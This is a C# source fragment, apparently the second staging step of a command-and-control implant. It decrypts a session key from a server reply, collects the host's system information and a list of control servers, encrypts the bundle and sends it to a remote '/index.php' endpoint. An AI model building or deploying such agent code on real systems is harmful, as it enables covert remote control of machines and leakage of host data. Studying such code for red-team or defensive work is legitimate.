////////////////////////////////////////////////////////////////////////////////
//
////////////////////////////////////////////////////////////////////////////////
private byte[] Stage2(byte[] stage1response)
{
Random random = new Random();
////////////////////////////////////////////////////////////////////////////////
byte[] decrypted = rsaCrypto.Decrypt(stage1response, false);
string decryptedString = Encoding.ASCII.GetString(decrypted);
string nonce = decryptedString.Substring(0, 16);
sessionInfo.SetSessionKey(decryptedString.Substring(16, decryptedString.Length - 16));
byte[] keyBytes = Encoding.ASCII.GetBytes(sessionInfo.GetSessionKey());
////////////////////////////////////////////////////////////////////////////////
long increment = Convert.ToInt64(nonce);
increment++;
nonce = increment.ToString();
byte[] systemInformationBytes = GetSystemInformation(nonce + "|", string.Join(",", sessionInfo.GetControlServers()));
byte[] initializationVector = new byte[16];
random.NextBytes(initializationVector);
byte[] encryptedInformationBytes = aesEncrypt(keyBytes, initializationVector, systemInformationBytes);
encryptedInformationBytes = Misc.combine(initializationVector, encryptedInformationBytes);
////////////////////////////////////////////////////////////////////////////////
using (HMACSHA256 hmac = new HMACSHA256())
{
hmac.Key = keyBytes;
byte[] hmacHash = hmac.ComputeHash(encryptedInformationBytes).Take(10).ToArray();
encryptedInformationBytes = Misc.combine(encryptedInformationBytes, hmacHash);
}
////////////////////////////////////////////////////////////////////////////////
return(SendStage(0x03, encryptedInformationBytes, "/index.php"));
}